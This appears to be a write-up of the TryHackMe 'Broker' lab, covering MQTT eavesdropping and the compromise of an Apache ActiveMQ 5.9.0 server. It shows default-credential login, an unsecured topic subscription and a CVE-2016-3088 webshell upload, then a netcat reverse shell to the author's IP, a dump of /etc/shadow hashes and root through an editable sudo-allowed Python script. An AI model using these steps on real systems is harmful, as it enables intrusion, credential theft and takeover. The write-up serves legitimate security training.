Broker Writeup

This machine is about the MQTT protocol. MQTT is a widely used messaging protocol used in IoT devices, used to send any type of data or messages between devices. In the future, I will write a post on MQTT. This guide by HiveMQ provides a detailed overview of what MQTT is, how MQTT works, and some cool built in features.

MQTT Overview

Briefly, MQTT uses a publish-subscribe pattern. There are two types of components in an MQTT system:

  • Clients - able to send and receive data.
  • Broker - typically one in a network, able to distribute out messages to the appropriate clients

The publish/subscribe (or just pub/sub) pattern is the method by which messages are distributed to the correct clients. Any client can subscribe to any avaliable topic by sending a message to the broker. Any client can publish a message, and must include a topic. This message is sent to the broker, and the broker distributes this message out to every client subscribed to the message’s topic.

Now onto the machine.

Recon

TryHackMe provides some context for this machine:

Paul and Max found a way to chat at work by using a certain kind of software. They think they outsmarted their boss, but do not seem to know that eavesdropping is quite possible…They better be careful…

We start with a basic nmap scan on the target to see which ports are open, and get a feel for this machine. We scan the top 10,000 ports.

Command:

nmap –top-ports 10000 [target]

└─$ nmap --top-ports 10000 [target]

Nmap scan report for [target]
Host is up (0.060s latency).
Not shown: 8337 closed ports
PORT 	STATE SERVICE
22/tcp   open  ssh
1883/tcp open  mqtt
8161/tcp open  patrol-snmp

Nmap done: 1 IP address (1 host up) scanned in 5.51 seconds

SSH is open on port 22, but more interestingly, ports 1883 and 8161 are open - 1883 is the default port for insecure MQTT. We now run a more aggressive scan on ports 22, 1883 and 8161.

Command:

nmap -p [open ports] -A -sC -sV -O [target]

The most interesting parts of the output are shown below.

└─$ sudo nmap [target] -p 22,1883,8161 -A -sC -O -sV                                     

Nmap scan report for [target]
Host is up (0.020s latency).

PORT 	STATE SERVICE VERSION
22/tcp   open  ssh 	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4c:75:a0:7b:43:87:70:4f:70:16:d2:3c:c4:c5:a4:e9 (RSA)
|   256 f4:62:b2:ad:f8:62:a0:91:2f:0a:0e:29:1a:db:70:e4 (ECDSA)
|_  256 92:d2:87:7b:98:12:45:93:52:03:5e:9e:c7:18:71:d5 (ED25519)

1883/tcp open  mqtt?

8161/tcp open  http	Jetty 7.6.9.v20130131
|_http-server-header: Jetty(7.6.9.v20130131)
|_http-title: Apache ActiveMQ

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 78.41 seconds

We see that Apache ActiveMQ is running. This is a broker written in Java, by Apache.

Exploring MQTT

Upon visiting the host with a web browser on power 8161, we find an admin login panel. The advanced hacking tool of Google tells us that the default credentials are admin:admin for ActiveMQ.

alt text
And now we are logged in!

alt text
We are now inside the admin portal of ActiveMQ. We see that the server is running ActiveMQ version 5.9.0.

alt text

We can also see the list of topics. secret_chat looks interesting…

Subscribing to Topics

We now need a MQTT client to subscribe to this topic and receive updates. We use the Python Paho MQTT client, and create a script called mqtt_client_thm.py to subscribe to the secret_chat topic. The Python Paho Github repo gives a good starting guide to using Paho client.

import paho.mqtt.client as mqtt

# Callback function to print received messages
def on_message(client, userdata, message):
    	print('\nmessage received: ', str(message.payload.decode('utf-8')))
    	print('message topic: ', message.topic)
    	print('message qos: ', message.qos)
    	print('message retain flag: ', message.retain)

# Callback function for successful connection
def on_connect(client, userdata, flags ,rc):
    	print('Connected with result code', str(rc))

    	# Subscribe to secret_chat topic immediately after connection made
    	client.subscribe('secret_chat')

broker = "[target]"

# Create client object
client = mqtt.Client(protocol=mqtt.MQTTv31)

# Attach callback function to client connect and messages
client.on_message = on_message
client.on_connect = on_connect

# Establishing connection to broker
client.connect(broker, 1883)

# Start client loop to see callbacks
client.loop_forever()

Shown below is the output to this script.

Command:

python3 mqtt_client_thm.py

└─$ python3 mqtt_client_thm.py                                                              
Connected with result code 0

message received:  Paul: Hey, have you played the videogame 'Hacknet' yet?
message topic:  secret_chat
message qos:  0
message retain flag:  0

message received:  Max: Yeah, honestly that's the one game that got me into hacking, since I wanted to know how hacking is 'for real', you know? ;)
message topic:  secret_chat
message qos:  0
message retain flag:  0

message received:  Paul: Sounds awesome, I will totally try it out then ^^
message topic:  secret_chat
message qos:  0
message retain flag:  0

message received:  Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!
message topic:  secret_chat
message qos:  0
message retain flag:  0

Once subscribed, we see the above messages come through. It appears that these messages loop indefinitely. There is not much interesting information here, but we see that the answer to the TryHackMe question is Hacknet. Since this MQTT service is not secured, anyone can connect to it. We have shown how easy it is to subscribe to messages.

Initial Access to Server

Let’s try gain access to the server itself.

As seen in the webpage, this MQTT system is using ActiveMQ v5.9.0. Luckily for us, this version of ActiveMQ is vulnerable to CVE 2015-1830 - a directory traversal vulnerability which we will use to gain a shell.

We can now load up Metasploit to exploit this.

Command:

msfconsole
search activeMQ
use multi/http/apache_activemq_upload_jsp

msf6 exploit(multi/http/apache_activemq_upload_jsp) > options

Module options (exploit/multi/http/apache_activemq_upload_jsp):

   Name       	Current Setting  Required  Description
   ----       	---------------  --------  -----------
   AutoCleanup	true         	no    	Remove web shells after callback is received
   BasicAuthPass  admin        	yes   	The password for the specified username
   BasicAuthUser  admin        	yes   	The username to authenticate as
   JSP                         	no    	JSP name to use, excluding the .jsp extension (default:
                                          	random)
   Proxies                     	no    	A proxy chain of format type:host:port[,type:host:port]
                                         	[...]
   RHOSTS                      	yes   	The target host(s), range CIDR identifier, or hosts fil
                                         	e with syntax 'file:<path>'
   RPORT      	8161         	yes   	The target port (TCP)
   SSL        	false        	no    	Negotiate SSL/TLS for outgoing connections
   VHOST                       	no    	HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  [My IP]    	yes   	The listen address (an interface may be specified)
   LPORT  4444         	yes   	The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Universal


msf6 exploit(multi/http/apache_activemq_upload_jsp) >

Metasploit is fired up, we enter the target IP address and we enter the local port to bind to, 54321. We hope to get a meterpreter shell.

msf6 exploit(multi/http/apache_activemq_upload_jsp) > exploit

[*] Started reverse TCP handler on [target]:54321
[*] Uploading http://[target]:8161/opt/apache-activemq-5.9.0/webapps/api/jzmFvWBFBvz.jar
[*] Uploading http://[target]:8161/opt/apache-activemq-5.9.0/webapps/api/jzmFvWBFBvz.jsp
[!] This exploit may require manual cleanup of '/opt/apache-activemq-5.9.0/webapps/api/jzmFvWBFBvz.jar' on the target
[!] This exploit may require manual cleanup of '/opt/apache-activemq-5.9.0/webapps/api/jzmFvWBFBvz.jsp' on the target
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/apache_activemq_upload_jsp) >

Unfortunately this did not seem to work. After hunting around online a bit, I found this repo which exploits a similar vulnerability.

This exploit uploads a webshell to /admin/guo.jsp on the broker’s web interface.

└─$ cat README.md    	 
# ActiveMQ_putshell-CVE-2016-3088-
ActiveMQ_putshell直接获取webshell

#Usage:
python3 ActiveMQ_putshell.py -u url
![image](https://github.com/gsheller/ActiveMQ_putshell-CVE-2016-3088/blob/master/CVE-2016-3088.jpg?raw=true)

We will now use this exploit.

Command:

python3 ActiveMQ_putshell.py -u http://[target]

└─$ python3 ActiveMQ_putshell.py -u http://[target]

ActiveMQ_put_path:/opt/apache-activemq-5.9.0/webapps/
ActiveMQ_put__txt:http://[target]:8161/fileserver/guo.txt
ActiveMQ_putshell:http://[target]:8161/admin/guo.jsp

Now the webshell is there, we can use it with the url http://[target]:8161/admin/guo.jsp?pwd=gshell&shell=uname -a, as shown below.

alt text

Now we want a full reverse shell. We start a listener using rlwrap and netcat (rlwrap keeps the shell nice), on port 54321. We use the payload shell=nc -e /bin/sh <my IP> 54321. This works! We now have a shell, as shown below.

Command:

rlwrap nc -lnvp [local port]

└─$ rlwrap nc -lnvp 54321
listening on [any] 54321 ...
connect to [my IP] from (UNKNOWN) [target] 47850

After gaining access, we snoop around a little. We even have read permissions on the /etc/passwd and /etc/shadow files!

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

                        (...)

_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
activemq:x:1000:1000::/opt/apache-activemq-5.9.0/:/bin/bash
cat /etc/shadow
root:$6$p4QqejfFHI9$O6oFafk.Q.qo52ZrR2XIV/7CXp8X33YUJwHw5bAjcL5yZEaYhXaevThE3p/UfqPOvYphQUzP9ksyqc4iPaIcf.:18621:0:99999:7:::
daemon:*:18605:0:99999:7:::

                        (...)

messagebus:*:18621:0:99999:7:::
activemq:$6$Ra/XClrOq2ltc.E.$Gh1ytjYL14ZpMXCUQWKSCeJ60eLabxa5QklypSgu3UhQ.p8tLJOK/TeVzhakIvyBQ386J2XwXUHtDhQRg1NoN/:18621:0:99999:7:::

Time to upgrade our shell. This is achieved using script.

script -qc /bin/bash /dev/null
export TERM=xterm
export TERM=xterm

It appears that every command is echoed back to the terminal, but this is no problem.

Snooping inside the directory we landed in, we find the first flag.

uname -a
uname -a
Linux activemq 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 GNU/Linux

ls
ls
LICENSE   README.txt   bin   conf   flag.txt   start.sh   tmp   NOTICE   activemq-all-5.9.0.jar  chat.py   data   lib   subscribe.py   webapps

cat flag.txt
cat flag.txt
THM{you_got_a_m3ss4ge}

Gaining Root

It is now time for privilege escalation. A good step in privilege escalation is to check what current sudo permissions you have, and check GTFObins for anything useful. In our case, we can run Python as Sudo - easy privilege escalation vector!

Command:

sudo -l

sudo -l
sudo -l
Matching Defaults entries for activemq on activemq:
	env_reset, mail_badpass,
	secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User activemq may run the following commands on activemq:
	(root) NOPASSWD: /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py

We attempt to use python to spawn a root shell.

Python Command:

os.system(‘/bin/sh’)

sudo python -c 'import os; os.system('/bin/sh')'
sudo python -c 'import os; os.system('/bin/sh')'

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

	#1) Respect the privacy of others.
	#2) Think before you type.
	#3) With great power comes great responsibility.

[sudo] password for activemq:

Sadly, this did not work, as we still need activemq’s password. I tried cracking the hash from /etc/shadow, but I didn’t find anything. However, hope is not lost. sudo -l told us that we can also run the subscribe.py file with sudo, so we can edit this to read the root flag for us (presumably located in /root/root.txt).

We edit subscribe.py with an echo command. The following python code is injected:

Import os
os.system(/bin/bash)
Command:

echo ‘import os; os.system(““/bin/bash”)’ > subscribe.py

This code works, and we get a root shell, and the root flag!

echo "import os; os.system('/bin/bash')" > subscribe.py
echo "import os; os.system('/bin/bash')" > subscribe.py
                                          	sudo /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
sudo /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
whoami
whoami
root
cat /root/root.txt
cat /root/root.txt
THM{br34k_br0k3_br0k3r}

Tools Used

  • Nmap
  • Custom Python script
  • Metasploit
  • Custom exploit script
  • Netcat

Conclusion

In this room, we learnt about MQTT, and its weaknesses. MQTT has built-in features for security, including options to encrypt all communications. In the above example, and unfortunately across many IoT devices, manufactor do not enable any security features. Many IoT devices are small and have limited resources, so security is compromised on.

If an MQTT system is not secured, it would have been just as easy to write a script to publish our own messages to MQTT clients as it was to subscribe to topics. Malicious actors could exploit this to control someone else’s IoT devices, or in our case, exploit MQTT itself and eventually gain root access.

Broker room

HiveMQ MQTT guide

Python MQTT client

CVE 2015-1830

CVE-2016-3088 exploit